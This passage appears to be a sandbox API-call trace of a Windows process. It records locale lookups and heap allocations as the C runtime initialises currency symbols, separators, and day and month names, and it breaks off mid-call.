GetLocaleInfoW (in: Locale=0x409, LCType=0x20000053, lpLCData=0x325fa4, cchData=2 | out: lpLCData="") returned 2 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3be900 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x3be900, cchData=4 | out: lpLCData="USD") returned 4 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be910 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x3be910, cchData=2 | out: lpLCData="$") returned 2 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be920 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x3be920, cchData=2 | out: lpLCData=".") returned 2 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be930 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x3be930, cchData=2 | out: lpLCData=",") returned 2 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0188.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be940 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x3be940, cchData=1 | out: lpLCData="") returned 1 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be950 [0188.948] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x3be950, cchData=2 | out: lpLCData="-") returned 2 [0188.948] GetLastError () returned 0x0 [0188.948] SetLastError (dwErrCode=0x0) [0188.948] GetLastError () returned 0x0 [0188.948] SetLastError (dwErrCode=0x0) [0188.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1f) returned 0x3bec88 [0188.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x50) returned 0x3becb0 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3be960 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3be970 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x325f48, cchData=2 | out: lpLCData=".") returned 2 [0188.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x325fd0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be980 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x325f38, cchData=2 | out: lpLCData=",") returned 2 [0188.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x325fbc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be990 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x325f28, cchData=4 | out: lpLCData="3;0") returned 4 [0188.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x325fa8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9a0 [0188.949] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9b0 [0188.950] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x3be9b0, cchData=2 | out: lpLCData=".") returned 2 [0188.950] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9c0 [0188.950] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x3be9c0, cchData=2 | out: lpLCData=",") returned 2 [0188.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4f0 | out: hHeap=0x3b0000) returned 1 [0188.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be830 | out: hHeap=0x3b0000) returned 1 [0188.950] GetLastError () returned 0x0 [0188.950] SetLastError (dwErrCode=0x0) [0188.950] GetLastError () returned 0x0 [0188.951] SetLastError (dwErrCode=0x0) [0188.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1f) returned 0x3be830 [0188.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x164) returned 0x3bed08 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x325f38, cchData=4 | out: lpLCData="Mon") returned 4 [0188.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mon", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mon", lpUsedDefaultChar=0x0) returned 4 [0188.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9d0 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x325f28, cchData=4 | out: lpLCData="Tue") returned 4 [0188.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tue", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tue", lpUsedDefaultChar=0x0) returned 4 [0188.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9e0 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x325f18, cchData=4 | out: lpLCData="Wed") returned 4 [0188.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wed", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wed", lpUsedDefaultChar=0x0) returned 4 [0188.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be9f0 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.951] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x325ef8, cchData=4 | out: lpLCData="Thu") returned 4 [0188.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thu", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thu", lpUsedDefaultChar=0x0) returned 4 [0188.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea00 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x325f38, cchData=4 | out: lpLCData="Fri") returned 4 [0188.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fri", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fri", lpUsedDefaultChar=0x0) returned 4 [0188.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea10 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x325f28, cchData=4 | out: lpLCData="Sat") returned 4 [0188.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sat", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sat", lpUsedDefaultChar=0x0) returned 4 [0188.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea20 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x325f18, cchData=4 | out: lpLCData="Sun") returned 4 [0188.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sun", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sun", lpUsedDefaultChar=0x0) returned 4 [0188.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea30 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x325ef8, cchData=7 | out: lpLCData="Monday") returned 7 [0188.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Monday", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monday", lpUsedDefaultChar=0x0) returned 7 [0188.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x7) returned 0x3bea40 [0188.952] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x325f38, cchData=8 | out: lpLCData="Tuesday") returned 8 [0188.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tuesday", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tuesday", lpUsedDefaultChar=0x0) returned 8 [0188.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bea50 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x325f18, cchData=10 | out: lpLCData="Wednesday") returned 10 [0188.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wednesday", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wednesday", lpUsedDefaultChar=0x0) returned 10 [0188.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa) returned 0x3bd520 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x325f08, cchData=9 | out: lpLCData="Thursday") returned 9 [0188.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thursday", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thursday", lpUsedDefaultChar=0x0) returned 9 [0188.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3be858 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x325ef8, cchData=7 | out: lpLCData="Friday") returned 7 [0188.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Friday", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Friday", lpUsedDefaultChar=0x0) returned 7 [0188.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x7) returned 0x3bea60 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.953] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x325f28, cchData=9 | out: lpLCData="Saturday") returned 9 [0188.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Saturday", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Saturday", lpUsedDefaultChar=0x0) returned 9 [0188.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3be870 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x325f18, cchData=7 | out: lpLCData="Sunday") returned 7 [0188.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sunday", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sunday", lpUsedDefaultChar=0x0) returned 7 [0188.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x7) returned 0x3bea70 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x325f18, cchData=4 | out: lpLCData="Jan") returned 4 [0188.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jan", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jan", lpUsedDefaultChar=0x0) returned 4 [0188.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea80 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x325ef8, cchData=4 | out: lpLCData="Feb") returned 4 [0188.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Feb", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Feb", lpUsedDefaultChar=0x0) returned 4 [0188.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bea90 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.954] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x325f38, cchData=4 | out: lpLCData="Mar") returned 4 [0188.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mar", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mar", lpUsedDefaultChar=0x0) returned 4 [0188.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beaa0 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x325f28, cchData=4 | out: lpLCData="Apr") returned 4 [0188.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apr", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Apr", lpUsedDefaultChar=0x0) returned 4 [0188.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beab0 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x325f18, cchData=4 | out: lpLCData="May") returned 4 [0188.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0188.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beac0 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x325ef8, cchData=4 | out: lpLCData="Jun") returned 4 [0188.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jun", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jun", lpUsedDefaultChar=0x0) returned 4 [0188.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bead0 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x325f38, cchData=4 | out: lpLCData="Jul") returned 4 [0188.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jul", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jul", lpUsedDefaultChar=0x0) returned 4 [0188.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beae0 [0188.955] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x325f28, cchData=4 | out: lpLCData="Aug") returned 4 [0188.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aug", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aug", lpUsedDefaultChar=0x0) returned 4 [0188.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beaf0 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x325f18, cchData=4 | out: lpLCData="Sep") returned 4 [0188.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sep", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sep", lpUsedDefaultChar=0x0) returned 4 [0188.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beb00 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x325ef8, cchData=4 | out: lpLCData="Oct") returned 4 [0188.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oct", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oct", lpUsedDefaultChar=0x0) returned 4 [0188.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beb10 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x325f38, cchData=4 | out: lpLCData="Nov") returned 4 [0188.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Nov", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nov", lpUsedDefaultChar=0x0) returned 4 [0188.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beb20 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.956] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x325f28, cchData=4 | out: lpLCData="Dec") returned 4 [0188.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dec", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dec", lpUsedDefaultChar=0x0) returned 4 [0188.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beb30 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x325f08, cchData=8 | out: lpLCData="January") returned 8 [0188.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="January", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="January", lpUsedDefaultChar=0x0) returned 8 [0188.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3beb40 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x325ef8, cchData=9 | out: lpLCData="February") returned 9 [0188.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="February", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="February", lpUsedDefaultChar=0x0) returned 9 [0188.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3bee90 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x325f38, cchData=6 | out: lpLCData="March") returned 6 [0188.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="March", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="March", lpUsedDefaultChar=0x0) returned 6 [0188.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6) returned 0x3beb50 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x325f28, cchData=6 | out: lpLCData="April") returned 6 [0188.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="April", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="April", lpUsedDefaultChar=0x0) returned 6 [0188.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6) returned 0x3beb60 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.957] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x325f18, cchData=4 | out: lpLCData="May") returned 4 [0188.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0188.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3beb70 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x325ef8, cchData=5 | out: lpLCData="June") returned 5 [0188.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="June", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="June", lpUsedDefaultChar=0x0) returned 5 [0188.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x5) returned 0x3beb80 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x325f38, cchData=5 | out: lpLCData="July") returned 5 [0188.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="July", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="July", lpUsedDefaultChar=0x0) returned 5 [0188.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x5) returned 0x3beb90 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | 